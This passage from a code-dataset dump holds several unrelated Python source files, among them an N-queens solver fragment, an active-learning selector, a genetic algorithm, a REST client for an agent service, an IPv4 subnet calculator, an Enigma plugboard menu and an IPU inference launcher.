col=0;\n for n in range(len(queen)):\n for num in range(len(queen)):\n if (queen[n] != num):\n matrix[n] = num;\n if ans>countAttack(matrix):\n ans = countAttack(matrix);\n row = num;\n col = n;\n matrix[n] = queen[n];\n matrix[col] = row;\n return matrix;\n \ndef printMatrix2(queen):\n matrix = list(queen);\n for i in range(len(queen)):\n for j in range(len(queen)):\n if i!=j:\n matrix[i] = queen[j];\n matrix[j] = queen[i];\n print(\"{:<3}\".format(countAttack(matrix)), end=\"\")\n matrix[i] = queen[i];\n matrix[j] = queen[j];\n else:\n print(\"{:<3}\".format(\"-\"), end=\"\")\n print();\n\ndef moveTwo (queen):\n matrix = list(queen);\n ans=64;\n row=0;\n col=0;\n for i in range(len(queen)):\n for j in range(len(queen)):\n if i!=j:\n matrix[i] = queen[j];\n matrix[j] = queen[i];\n if countAttack(matrix) 0.5 else 1, l2[name_to_idx[i]]) for i in idx_2[:self._batch_size]]\n\n def _euclidean(self, data1, data2, typ=\"euclidean\"):\n mx1, idx_1, l1 = self._to_matrix(data1)\n mx2, idx_2, l2 = self._to_matrix(data2)\n # Get euclidean distances as 2D array\n dists = cdist(mx1, mx2, typ)\n # return the most distant rows\n top_index = dists.mean(axis=0).argsort(kind='heapsort').tolist()\n selected_idx = top_index[0:self._batch_size]\n return [idx_2[i] for i in selected_idx]\n\n def _neural_net(self, train, test):\n\n early_stop = self._params['early_stop'] if 'early_stop' in self._params else 102\n epochs = self._params['epochs'] if 'epochs' in self._params else 300\n if not hasattr(self, '_network'):\n model = NeuralNet3(layers_size=(225, 150, 75), lr=0.001)\n self._binary_neural_network = FeedForwardNet(model, train_size=0.8, gpu=False)\n\n train_data, train_label = self._sep_dict(train)\n self._binary_neural_network.update_data(train_data, train_label)\n self._binary_neural_network.train(epochs, early_stop=early_stop, validation_rate=200, stop_auc=5)\n clean_test = {name: tup[0] for name, tup in test.items()} # remove labels from the test\n results = self._binary_neural_network.predict(clean_test)\n # assuming black = 0\n return [(key, val.item(), test[key][1]) for key, val in sorted(results.items(), key=lambda x: x[1])][0:self._batch_size]\n\n def _xg_boost(self, train, test):\n train_mx, train_idx, y_train = self._to_matrix(train)\n test_mx, test_idx, y_test = self._to_matrix(test)\n train_mx, eval_mx, y_train, y_eval = train_test_split(train_mx, y_train, test_size=0.1)\n dtrain = xgb.DMatrix(train_mx, y_train, silent=True)\n deval = xgb.DMatrix(eval_mx, y_eval, silent=True)\n dtest = xgb.DMatrix(test_mx, silent=True)\n params = {'silent': True, 'booster': 'gblinear', 'lambda': 0.07, 'eta': 0.17, 'objective': 'binary:logistic'}\n clf_xgb = xgb.train(params, dtrain=dtrain, evals=[(dtrain, 'train'), (deval, 'eval')],\n early_stopping_rounds=10, verbose_eval=False)\n y_score_test = clf_xgb.predict(dtest)\n index_predict = [(test_idx[i], y_score_test[i], y_test[i]) for i in range(len(test_idx))]\n index_predict.sort(key=itemgetter(1))\n stop = min(self._batch_size, len(index_predict))\n return [index_predict[i] for i in range(stop)]\n","sub_path":"active_learning/smart_selctors.py","file_name":"smart_selctors.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"463973514","text":"\"\"\"\n题目描述:\n 在未排序的数组中找到第 k 个最大的元素。请注意,你需要找的是数组排序后的第 k 个最大的元素,而不是第 k 个不同的元素。\n示例:\n 输入: [3,2,1,5,6,4] 和 k = 2\n 输出: 5\n\n 输入: [3,2,3,1,2,4,5,5,6] 和 k = 4\n 输出: 4\n\"\"\"\n\nfrom typing import List\nimport heapq\n\n\n# 方法一 暴力解法\ndef way_one(nums: List[int], k: int) -> int:\n nums.sort()\n return nums[-k]\n\n\n# 方法二 快速排序\ndef way_two(self, nums: List[int], k: int) -> int:\n size = len(nums)\n target = size - k\n left = 0\n right = size - 1\n while True:\n index = self.__partition(nums, left, right)\n if index == target:\n return nums[index]\n elif index < target:\n # 下一轮在 [index + 1, right] 里找\n left = index + 1\n else:\n right = index - 1\n\n\n# 循环不变量:[left + 1, j] < pivot\n# (j, i) >= pivot\ndef __partition(self, nums, left, right):\n pivot = nums[left]\n j = left\n for i in range(left + 1, right + 1):\n if nums[i] < pivot:\n j += 1\n nums[i], nums[j] = nums[j], nums[i]\n nums[left], nums[j] = nums[j], nums[left]\n return j\n\n\n# 方法三 优先队列\ndef way_three(self, nums: List[int], k: int) -> int:\n size = len(nums)\n if k > size:\n raise Exception('程序出错')\n L = []\n for index in range(k):\n # heapq 默认就是小顶堆\n heapq.heappush(L, nums[index])\n for index in range(k, size):\n top = L[0]\n if nums[index] > top:\n # 看一看堆顶的元素,只要比堆顶元素大,就替换堆顶元素\n heapq.heapreplace(L, nums[index])\n # 最后堆顶中的元素就是堆中最小的,整个数组中的第 k 大元素\n return L[0]\n","sub_path":"_210414/FindKthLargest.py","file_name":"FindKthLargest.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"40276887","text":"from random import randint\nimport numpy\nimport cv2\n\npiece_color_map = {\n 'A': (255, 165, 0),\n 'B': (255, 0, 0),\n 'C': (0, 0, 255),\n 'D': (255, 204, 255),\n 'E': (0, 255, 0),\n 'F': (255, 255, 255),\n 'G': (155, 255, 255),\n 'H': (153, 0, 153),\n 'I': (255, 255, 0),\n 'J': (102, 0, 0),\n 'K': (0, 204, 0),\n 'L': (192, 192, 192),\n 'X': (0, 0, 0)\n}\n\nresize_multiplier = 50\n\n\nclass PuzzlePiece(object):\n\n def __init__(self, identifier, piece_dimensions, piece_definition):\n self.piece_dimensions = piece_dimensions\n self.width = piece_dimensions[0]\n self.height = piece_dimensions[1]\n self.piece_definition = piece_definition\n self.identifier = identifier\n\n def draw(self):\n image = numpy.zeros(\n (self.piece_dimensions[0] * resize_multiplier, self.piece_dimensions[1] * resize_multiplier, 3),\n numpy.uint8)\n\n img2 = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n cv2.imshow('test', img2)\n cv2.waitKey(250)\n\n\npieces = {}\np = PuzzlePiece('A', (2, 3), ((1, 1), (1, 0), (1, 1)))\np.draw()\npieces[p.identifier] = p\n\ngame_width = 11\ngame_height = 5\n\nheight = game_height * resize_multiplier\nwidth = game_width * resize_multiplier\n\nlines = []\nwith open(\"1.txt\") as textFile:\n lines = [line.split() for line in textFile]\n print(lines)\n\n\ndef draw_rect(x, y, resize_multiplier, color, img):\n start_point = (x, y)\n end_point = (x + resize_multiplier, y + resize_multiplier)\n return cv2.rectangle(img, start_point, end_point, color, -1)\n\n\ndef render_board(img):\n x = 0\n y = 0\n for w in range(0, game_width):\n for h in range(0, game_height):\n game_board_row = lines[h][0]\n piece_code = game_board_row[w]\n\n img = draw_rect(x, y, resize_multiplier, piece_color_map[piece_code], img)\n y += resize_multiplier\n\n img2 = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n cv2.imshow('test', img2)\n cv2.waitKey(10)\n\n x += resize_multiplier\n y = 0\n\n return img\n\n\nimage = numpy.zeros((height, width, 3), numpy.uint8)\n\nimage = render_board(image)\nimg = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\ncv2.imshow('test', img)\ncv2.waitKey(0)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"459498447","text":"import random\nfrom Population import Population\nimport Chromosome\n\n\nPOPULATION_SIZE = 10\nNB_GENES = 10\nMUTATION_RATE = 0.2\nCROSSING_RATE = 0.7\nTARGET_CHROMOSOME = [1, 1, 0, 1, 0, 0, 1, 1, 1, 0]\nTOURNAMENT_SELECTION_SIZE = 4\n\n\n\n@staticmethod\ndef select_tournament(pop):\n tournament_pop = Population(0)\n i = 0\n while i < TOURNAMENT_SELECTION_SIZE :\n tournament_pop.get_chromosomes().append(pop.get_chromosomes()[random.randrange(0, POPULATION_SIZE)])\n i += 1\n tournament_pop.get_chromosomes().sort(key=lambda x: x.get_fitness(), reverse=True)\n return tournament_pop.get_chromosomes()[0]\n\n\n@staticmethod\ndef crossover_chromosomes(parent1, parent2):\n if random.random() < CROSSING_RATE:\n child1 = Chromosome()\n child2 = Chromosome()\n\n '''One Point Cross Over'''\n index = random.randrange(1, NB_GENES)\n child1.genes = parent1.get_genes()[:index] + parent2.get_genes()[index:]\n child2.genes = parent2.get_genes()[:index] + parent1.get_genes()[index:]\n\n print(\"\\nMaking a cross\")\n print(\"Parent1: \", parent1.get_genes())\n print(\"Parent2: \", parent2.get_genes())\n print(\"Child1 : \", child1.get_genes())\n print(\"Child1 : \", child2.get_genes())\n\n return child1, child2\n else:\n return parent1, parent2\n\n\n@staticmethod\ndef mutate_chromosome(chromosome):\n if random.random() < MUTATION_RATE:\n print(\"\\nMaking a mutation\")\n print(\"From: \", chromosome.get_genes())\n\n random_bit_position = random.randrange(0, NB_GENES)\n if chromosome.get_genes()[random_bit_position] == 0:\n chromosome.get_genes()[random_bit_position] = 1\n else:\n chromosome.get_genes()[random_bit_position] = 0\n\n print(\"To: \", chromosome.get_genes())\n\n\n'''Population evolution Cross Over --> Mutation'''\n@staticmethod\ndef evolve(pop):\n new_pop = Population(0)\n\n #'''Keep The Fittests Chromosomes'''\n #for i in range(NUMBER_OF_ELITE_CHROMOSOMES):\n # new_pop.get_chromosomes().append(pop.get_chromosomes()[i])\n\n print(\"\\nCrossover and Mutation Trace:\")\n while new_pop.get_chromosomes().__len__() < POPULATION_SIZE:\n parent1 = select_tournament(pop)\n parent2 = select_tournament(pop)\n\n child1, child2 = crossover_chromosomes(parent1, parent2)\n\n mutate_chromosome(child1)\n mutate_chromosome(child2)\n\n new_pop.get_chromosomes().append(child1)\n\n # make sure to not depass the population size if we keep the elite\n if len(new_pop.get_chromosomes()) < POPULATION_SIZE:\n new_pop.get_chromosomes().append(child2)\n\n new_pop.get_chromosomes().sort(key=lambda x: x.get_fitness(), reverse=True)\n return new_pop\n\n\ngeneration_number = 0\nMAX_FITNESS = TARGET_CHROMOSOME.__len__()\npopulation = Population(POPULATION_SIZE)\npopulation.print_population(generation_number)\n\nwhile population.get_chromosomes()[0].get_fitness() < MAX_FITNESS :\n generation_number += 1\n population = evolve(population)\n population.print_population(generation_number)\n","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"149622000","text":"# Requires a\n# $ pip install requests\n# $ pip install json\n# $ pip install pyyaml\n#\n# Good requests 101-tutorial at https://realpython.com/api-integration-in-python/\n#\n\nimport sys\nimport requests\nimport json\nimport yaml\n\nDEFAULT_AGENT_PROP_FILE_NAME = \"agent.yaml\"\n\nDEFAULT_HOST_NAME = \"localhost\"\nDEFAULT_PROTOCOL = \"http\"\nDEFAULT_HOST_PORT = \"9990\"\n\nROOT_PATH = \"/agent\"\n\nCONFIG_PATH = \"/config\"\nSTATUS_PATH = \"/status\"\nSTART_PATH = \"/start\"\nSTOP_PATH = \"/stop\"\nDESTROY_PATH = \"/destroy\"\n\nhost_name = DEFAULT_HOST_NAME\nprotocol = DEFAULT_PROTOCOL\nhost_port = DEFAULT_HOST_PORT\n\n# For the agent config, default values\nAGENT_SERVICE_URL = \"http://localhost:8060\"\nAGENT_MESSAGE_PATH = \"/agent/transport\"\nAGENT_TENANT_NAME = \"demo\"\nAGENT_NAMESPACE = \"AGENT1\"\nAGENT_APIGW_INPUT_PATH = \"/apigw/input/\"\nAGENT_MAX_POLLING_THREADS = \"1\"\nAGENT_POLLING_INTERVAL = \"60000\"\nAGENT_THREAD_POOL_SIZE = \"10\"\nAGENT_SECURITY_CONFIG_FILE_PATH = \"~/.oci/config\"\nAGENT_SECURITY_PROFILE = \"DEFAULT\"\n\n# Actual values\nagent_service_URL = AGENT_SERVICE_URL\nagent_message_path = AGENT_MESSAGE_PATH\nagent_tenant_name = AGENT_TENANT_NAME\nagent_name_space = AGENT_NAMESPACE\nagent_api_gw_input_path = AGENT_APIGW_INPUT_PATH\nagent_max_polling_threads = AGENT_MAX_POLLING_THREADS\nagent_polling_interval = AGENT_POLLING_INTERVAL\nagent_thread_pool_size = AGENT_THREAD_POOL_SIZE\nagent_security_config_path = AGENT_SECURITY_CONFIG_FILE_PATH\nagent_security_profile = AGENT_SECURITY_PROFILE\n\n\ndef display_help():\n print(\"Commands (not case-sensitive) are:\")\n print(\"- Q | Quit | Exit\")\n print(\"- Help\")\n print(\"- Status\")\n print(\"- Start\")\n print(\"- Stop\")\n print(\"- Destroy\")\n\n\ndef get_agent_status():\n uri = \"{}://{}:{}{}{}\".format(protocol, host_name, host_port, ROOT_PATH, STATUS_PATH)\n print(\"Using {}\".format(uri))\n resp = requests.get(uri)\n if resp.status_code != 200:\n raise Exception('GET /tasks/ {}'.format(resp.status_code))\n else:\n json_obj = json.loads(resp.content)\n # print(json.dumps(json_obj, indent=2))\n print('Status {}\\nReceived {}'.format(resp.status_code, json.dumps(json_obj, indent=2)))\n\n\ndef config_agent():\n uri = \"{}://{}:{}{}{}\".format(protocol, host_name, host_port, ROOT_PATH, CONFIG_PATH)\n print(\"Using {}\".format(uri))\n payload = {}\n resp = requests.post(uri,\n json=payload,\n headers={\n \"agentServiceURL\": agent_service_URL,\n \"agentMessagePath\": agent_message_path,\n \"tenantName\": agent_tenant_name,\n \"nameSpace\": agent_name_space,\n \"apigwInputPath\": agent_api_gw_input_path,\n \"maxPollingThreads\": agent_max_polling_threads,\n \"pollingInterval\": agent_polling_interval,\n \"threadPoolSize\": agent_thread_pool_size,\n \"credentialConfigFilePath\": agent_security_config_path,\n \"credentialProfile\": agent_security_profile})\n if resp.status_code != 201:\n raise Exception('POST /config/ {}'.format(resp.status_code))\n print('Status {}, Content {}'.format(resp.status_code, json.dumps(json.loads(resp.content), indent=2)))\n\n\ndef start_agent():\n try:\n # Configure first\n config_agent()\n # Then move on\n uri = \"{}://{}:{}{}{}\".format(protocol, host_name, host_port, ROOT_PATH, START_PATH)\n print(\"Using {}\".format(uri))\n payload = {}\n resp = requests.post(uri, json=payload)\n if resp.status_code != 201:\n raise Exception('POST /start/ {}'.format(resp.status_code))\n print('Status {}, Content {}'.format(resp.status_code, json.dumps(json.loads(resp.content), indent=2)))\n except Exception as api_error:\n print(\"- Error {}\".format(api_error))\n\n\ndef stop_agent():\n uri = \"{}://{}:{}{}{}\".format(protocol, host_name, host_port, ROOT_PATH, STOP_PATH)\n print(\"Using {}\".format(uri))\n payload = {}\n resp = requests.post(uri, json=payload)\n if resp.status_code != 201:\n raise Exception('POST /stop/ {}'.format(resp.status_code))\n print('Status {}, Content {}'.format(resp.status_code, json.dumps(json.loads(resp.content), indent=2)))\n\n\ndef destroy_agent():\n uri = \"{}://{}:{}{}{}\".format(protocol, host_name, host_port, ROOT_PATH, DESTROY_PATH)\n print(\"Using {}\".format(uri))\n payload = {}\n resp = requests.post(uri, json=payload)\n if resp.status_code != 201:\n raise Exception('POST /destroy/ {}'.format(resp.status_code))\n print('Status {}, Content {}'.format(resp.status_code, json.dumps(json.loads(resp.content), indent=2)))\n\n\n#\n# Script main part\n#\n\n# Read config file values\nPROP_ARG_PREFIX = '--prop:'\n\nprop_file_name = DEFAULT_AGENT_PROP_FILE_NAME\nfor arg in sys.argv:\n if arg[:len(PROP_ARG_PREFIX)] == PROP_ARG_PREFIX:\n prop_file_name = arg[len(PROP_ARG_PREFIX):]\n\nprint(\"Reading {}\".format(prop_file_name))\ntry:\n with open(prop_file_name) as prop_file:\n yaml_props = yaml.load(prop_file)\n # print(yaml_props)\n for key in yaml_props.keys():\n # print(\"Key {}\".format(key))\n if key == 'lcm-service':\n lcm_map = yaml_props.get(key)\n for lcm_k in lcm_map:\n print(\"\\t=>{}: {}\".format(lcm_k, lcm_map.get(lcm_k)))\n if lcm_k == 'protocol':\n protocol = lcm_map.get(lcm_k)\n elif lcm_k == 'hostname':\n host_name = lcm_map.get(lcm_k)\n elif lcm_k == 'hostport':\n host_port = lcm_map.get(lcm_k)\n elif key == 'serviceurl':\n agent_service_URL = yaml_props.get(key)\n print(\"agent_service_URL: {}\".format(agent_service_URL))\n elif key == 'tenantname':\n agent_tenant_name = yaml_props.get(key)\n print(\"agent_tenant_name: {}\".format(agent_tenant_name))\n elif key == 'namespace':\n agent_name_space = yaml_props.get(key)\n print(\"agent_name_space: {}\".format(agent_name_space))\n elif key == 'agentmessagepath':\n agent_message_path = yaml_props.get(key)\n print(\"agent_message_path: {}\".format(agent_message_path))\n elif key == 'apigwinputpath':\n agent_api_gw_input_path = yaml_props.get(key)\n print(\"agent_api_gw_input_path: {}\".format(agent_api_gw_input_path))\n elif key == 'security':\n sec_map = yaml_props.get(key)\n for sec_k in sec_map:\n print(\"\\t=>{}: {}\".format(sec_k, sec_map.get(sec_k)))\n if lcm_k == 'configfilepath':\n agent_security_config_path = sec_map.get(sec_k)\n elif lcm_k == 'profile':\n agent_security_profile = sec_map.get(sec_k)\n elif key == 'taskscheduler':\n ts_map = yaml_props.get(key)\n for ts_k in ts_map:\n print(\"\\t=>{}: {}\".format(ts_k, ts_map.get(ts_k)))\n if lcm_k == 'maxpollingthreads':\n agent_max_polling_threads = str(ts_map.get(ts_k))\n elif lcm_k == 'pollinginterval':\n agent_polling_interval = str(ts_map.get(ts_k))\n elif lcm_k == 'threadpoolsize':\n agent_thread_pool_size = str(ts_map.get(ts_k))\n\nexcept FileNotFoundError as fnf_error:\n print(\"- Prop File {} Not Found, {}, aborting\".format(prop_file_name, fnf_error))\n sys.exit(1)\n\ndisplay_help()\nkeep_looping = True\nwhile keep_looping:\n user_input = input(\"> \")\n if user_input.upper() == 'Q' or user_input.upper() == 'QUIT' or user_input.upper() == 'EXIT':\n keep_looping = False\n elif user_input.upper() == 'HELP':\n display_help()\n elif user_input.upper() == 'START':\n start_agent()\n elif user_input.upper() == 'STOP':\n stop_agent()\n elif user_input.upper() == 'DESTROY':\n destroy_agent()\n elif user_input.upper() == 'STATUS':\n get_agent_status()\n else:\n print(\"Duh? {}\".format(user_input))\n\nprint(\"Bye!\")\n","sub_path":"Python.101/RESTClient.py","file_name":"RESTClient.py","file_ext":"py","file_size_in_byte":8347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"111186457","text":"import re\n\n\nclass CalcIPv4:\n def __init__(self, ip, mask=None, prefix=None):\n self.ip = ip\n self.mask = mask\n self.prefix = prefix\n\n self._set_broadcast()\n self._set_net()\n\n @property\n def ip(self):\n return self._ip\n\n @property\n def mask(self):\n return self._mask\n\n @property\n def prefix(self):\n return self._prefix\n\n @property\n def net(self):\n return self._net\n\n @property\n def broadcast(self):\n return self._broadcast\n\n @property\n def num_of_ips(self):\n return self._get_num_of_ips()\n\n @ip.setter\n def ip(self, ip_num):\n if not self._ip_validation(ip_num):\n raise ValueError(\"Invalid IP.\")\n self._ip = ip_num\n self._ip_bin = self._ip_to_bin(ip_num)\n\n @mask.setter\n def mask(self, mask_num):\n if not mask_num:\n return\n if not self._ip_validation(mask_num):\n raise ValueError(\"Invalid Mask.\")\n self._mask = mask_num\n self._mask_bin = self._ip_to_bin(mask_num)\n\n if not hasattr(self, 'prefix'):\n self._prefix = self._mask_bin.count('1')\n\n @prefix.setter\n def prefix(self, prefix_num):\n if not prefix_num:\n return\n if not isinstance(prefix_num, int):\n raise TypeError('Prefix needs to be an integer.')\n if prefix_num > 32:\n raise TypeError('Prefix needs to be lower than 32 Bits.')\n self._prefix = prefix_num\n self._mask_bin = (prefix_num * '1').ljust(32, '0')\n\n if not hasattr(self, 'mask'):\n self._mask = self._bin_to_ip(self._mask_bin)\n\n @staticmethod\n def _ip_validation(ip):\n regexp = re.compile(\n r'^([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3}).([0-9]{1,3})$'\n )\n\n if regexp.search(ip):\n return True\n\n @staticmethod\n def _ip_to_bin(ip):\n blocks = ip.split('.')\n bin_blocks = [bin(int(x))[2:].zfill(8) for x in blocks]\n return ''.join(bin_blocks)\n\n @staticmethod\n def _bin_to_ip(ip):\n n = 8\n blocks = [str(int(ip[i:n+i], 2)) for i in range(0, 32, n)]\n return '.'.join(blocks)\n\n def _set_broadcast(self):\n host_bits = 32 - self.prefix\n self._broadcast_bin = self._ip_bin[:self.prefix] + (host_bits * '1')\n self._broadcast = self._bin_to_ip(self._broadcast_bin)\n return self._broadcast\n\n def _set_net(self):\n host_bits = 32 - self.prefix\n self._net_bin = self._ip_bin[:self.prefix] + (host_bits * '0')\n self._net = self._bin_to_ip(self._net_bin)\n return self._net\n\n def _get_num_of_ips(self):\n return 2 ** (32 - self.prefix)\n","sub_path":"classes/calcipv4.py","file_name":"calcipv4.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"148250807","text":"\n\nclass Stecker_cable_interface(object):\n\n\tdef __init__(self):\n\n\t\tsuper(Stecker_cable_interface, self).__init__()\n\n\n\tdef menu(self):\n\t\t\"\"\"\"menu allows the user to change the machines settings\"\"\"\n\n\t\twhile True:\n\t\t\tprint(\"\\n{} ENIGMA MACHINE\\\n\t\t\t\t \\nenter a number for one of the following\\\n\t\t\t\t \\n1. Select Rotors\\\n\t\t\t\t \\n2. Select Ring Settings\\\n\t\t\t\t \\n3. Select Rotor Settings\\\n\t\t\t\t \\n4. Select Reflector\\\n\t\t\t\t \\n5. Stecker Setup\\\n\t\t\t\t \\n6. Plain Text Input\\\n\t\t\t\t \\n7. Display Machine\\\n\t\t\t\t \\n8. Return To Main Menu\".format(self._machine_type))\n\n\t\t\tinpt = input()\n\n\t\t\tif inpt == '1':\n\t\t\t\tself.menu_select_rotors()\n\t\t\telif inpt == '2':\n\t\t\t\tself.menu_select_ring_settings()\n\t\t\telif inpt == '3':\n\t\t\t\tself.menu_select_rotor_settings()\n\t\t\telif inpt == '4':\n\t\t\t\tself.menu_select_reflector()\n\t\t\telif inpt == '5':\n\t\t\t\tself.menu_stecker_setup()\n\t\t\telif inpt == '6':\n\t\t\t\tself.plain_text_input()\n\t\t\telif inpt == '7':\n\t\t\t\tself.print_machine()\n\t\t\telif inpt == '8':\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Invalid input! try again\")\n\t\treturn\n\n\n\tdef menu_stecker_setup(self):\n\n\t\tself.print_plugboard()\n\n\t\twhile True:\n\t\t\tprint(\"\\nEnter a number for one of the following\\\n\t\t\t\t\t\\n1. Connect Stecker Cables\\\n\t\t\t\t\t\\n2. Disconnect Stecker Cables\\\n\t\t\t\t\t\\n3. Clear Plugboard\\\n\t\t\t\t\t\\n4. Return To Enigma Menu\")\n\n\t\t\tinpt = input()\n\n\t\t\tif inpt == '1':\n\t\t\t\tself.menu_connect_stecker_cable()\n\t\t\telif inpt == '2':\n\t\t\t\tself.menu_disconnect_stecker_cable()\n\t\t\telif inpt == '3':\n\t\t\t\tself.menu_clear_plugboard()\n\t\t\telif inpt == '4':\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint(\"Invalid input! try again\")\n\t\treturn\n\n\n\tdef menu_get_letter_pair(self):\n\n\t\twhile True:\n\t\t\tprint(\"\\nEnter a pair of letters to connect on the plugboard\")\n\t\t\tcharacters = input()\n\t\t\tif len(characters) == 2 and characters[0].isalpha() and characters[1].isalpha() and\\\n\t\t\t\tcharacters[0].upper() != characters[1].upper():\n\t\t\t\treturn characters.upper()\n\t\t\telif len(characters) != 2:\n\t\t\t\tprint(\"Two letters must be input\")\n\t\t\t\tcontinue\n\t\t\telif characters[0].upper() == characters[1].upper():\n\t\t\t\tprint(\"Two different letters must be entered\")\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tprint(\"{} Invalid input! must be two letters in the form AB\".format(characters))\n\n\n\tdef menu_connect_stecker_cable(self):\n\n\t\tself.print_plugboard()\n\n\t\twhile True:\n\t\t\tstecker_characters = self.menu_get_letter_pair()\n\t\t\tcharacter1 = stecker_characters[0]\n\t\t\tcharacter2 = stecker_characters[1]\n\t\t\tcharacter1_connected = self.stecker_plug_already_connected(character1)\n\t\t\tcharacter2_connected = self.stecker_plug_already_connected(character2)\n\t\t\tif not character1_connected and not character2_connected:\n\t\t\t\tself.connect_stecker_cable(character1, character2)\n\t\t\telif character1_connected or character2_connected:\n\t\t\t\tcharacter1_overide = True\n\t\t\t\tcharacter2_overide = True\n\t\t\t\tif character1_connected:\n\t\t\t\t\tcharacter1_overide = self.menu_get_plug_override(character1)\n\t\t\t\tif character2_connected and character1_overide:\n\t\t\t\t\tcharacter2_overide = self.menu_get_plug_override(character2)\n\t\t\t\tif character1_overide and character2_overide:\n\t\t\t\t\tself.connect_stecker_cable(character1, character2)\n\t\t\tself.print_plugboard()\n\t\t\tif self.number_of_connected_plugs() >= 26:\n\t\t\t\tprint(\"All plugboard characters are connected\")\n\t\t\t\tbreak\n\t\t\tprint(\"Enter y to connect another stecker cable\")\n\t\t\tinpt = input()\n\t\t\tif inpt.upper() == 'Y':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tbreak\n\n\n\tdef menu_disconnect_stecker_cable(self):\n\n\t\tself.print_plugboard()\n\n\t\twhile self.number_of_connected_plugs() != 0:\n\t\t\tmessage = \"\\nEnter a letter to disconnect from the plugboard\"\n\t\t\tcharacter = self.menu_get_letter(message)\n\t\t\tif self.stecker_plug_already_connected(character):\n\t\t\t\tconnected_character = self._plugboard.connected_to(character, \"LG\")\n\t\t\t\tself.disconnect_stecker_cable(character)\n\t\t\t\tprint(\"{0}-{1} has been disconnected from the plugboard\"\n\t\t\t\t\t.format(character, connected_character))\n\t\t\telse:\n\t\t\t\tprint(\"{} is not connected to a stecker plug\".format(character))\n\t\t\tself.print_plugboard()\n\t\t\tif self.number_of_connected_plugs() == 0:\n\t\t\t\tprint(\"There are no stecker cables connected\")\n\t\t\t\tbreak\n\t\t\tprint(\"Enter y to disconnect another stecker cable\")\n\t\t\tinpt = input()\n\t\t\tif inpt.upper() == 'Y':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tbreak\n\n\n\tdef menu_clear_plugboard(self):\n\t\t\n\t\tself._plugboard.clear_plugboard()\n\t\tprint(\"\\nThe plugboard has been cleared\")","sub_path":"stecker_cable_interface.py","file_name":"stecker_cable_interface.py","file_ext":"py","file_size_in_byte":4309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"196540732","text":"# The Riddler Classic 2020-08-14: Riddler Manufacturing Company\n# https://fivethirtyeight.com/features/are-you-hip-enough-to-be-square/\n# Monte-Carlo simulation and comparison to analytical solution\n\nimport random\n\ndef split_ruler():\n #returns the locations of the three splits, in order\n\n r = [random.random() for i in range(3)]\n\n x1 = min(r)\n x3 = max(r)\n r.remove(x1)\n r.remove(x3)\n x2 = r[0]\n\n return x1, x2, x3\n\n\nNsim = 1000000 #number of replications\nlengths = [0]*Nsim\nl1s = [0]*Nsim\n\nfor N in range(Nsim):\n \n x1, x2, x3 = split_ruler()\n\n #determine piece lengths\n l1 = x1\n l2 = x2 - x1\n l3 = x3 - x2\n l4 = 1 - x3\n\n #find the length of the piece containing the half mark\n if (x1 > 0.5):\n lengths[N] = l1\n elif (x1 <= 0.5 and x2 > 0.5):\n lengths[N] = l2\n elif (x2 <= 0.5 and x3 > 0.5):\n lengths[N] = l3\n else:\n lengths[N] = l4\n\n l1s[N] = l1\n\nprint('Empirical probability:')\nprint(sum(lengths)/Nsim)\nprint('Analytical probability:')\nprint(15/32)\n","sub_path":"classic/riddler_manufacturing_company.py","file_name":"riddler_manufacturing_company.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"92587381","text":"# Copyright (c) 2019 Graphcore Ltd. All rights reserved.\n\nimport time\nfrom datetime import datetime\nimport os\nfrom absl import app, flags\nimport subprocess\nimport re\nimport statistics\n\n\"\"\"\nThis program launches subprocesses to handle data loading and resnext101 inference.\n\nIt can also be used to perform inference on other ONNX CNNs that take ImageNet sized input images.\nTo adapt, download a different ONNX model from the Python package `pretrainedmodels` via get_model.py,\nor save your own model to models//_.onnx\n\nThen, run with the flag --model_name --batch_size \n\"\"\"\n\n\ndef launch_resnext_subprocess(i, f):\n # parse flags into list of strings to pass through to subprocesses\n # give the i_th process the i_th dataset\n data_sub_dir = FLAGS.data_dir + f\"{i}\"\n micro_batch_size = int(FLAGS.batch_size/FLAGS.num_ipus)\n micro_batch_size = str(micro_batch_size)\n args = FLAGS.flags_into_string().split('\\n')\n command = [\n \"python3\",\n \"resnext101.py\",\n \"--data_sub_dir\",\n data_sub_dir,\n \"--micro_batch_size\",\n micro_batch_size\n ] + args\n print(f\"\\n\\nRunning subprocess {i}: \\t \")\n print(\" \".join(command))\n kwargs = {\"stdout\": f, \"stderr\": f} if FLAGS.hide_output else {}\n return subprocess.Popen(\n command,\n universal_newlines=True,\n **kwargs\n )\n\n\nFLAGS = flags.FLAGS\nflags.DEFINE_integer(\"batch_size\", 48, \"Overall size of batch (across all devices).\")\nflags.DEFINE_integer(\n \"num_ipus\", 8, \"Number of IPUs to be used. One IPU runs one compute process and processes a fraction of the batch of samples.\")\nflags.DEFINE_string(\"data_dir\", \"datasets/\",\n \"Parent directory containing subdirectory dataset(s). The number of sub directories should equal num_ipus\")\nflags.DEFINE_integer(\"num_workers\", 4, \"Number of threads per dataloader. There is one dataloader per IPU.\")\nflags.DEFINE_integer(\"batches_per_step\", 1500,\n \"Number of batches to fetch on the host ready for 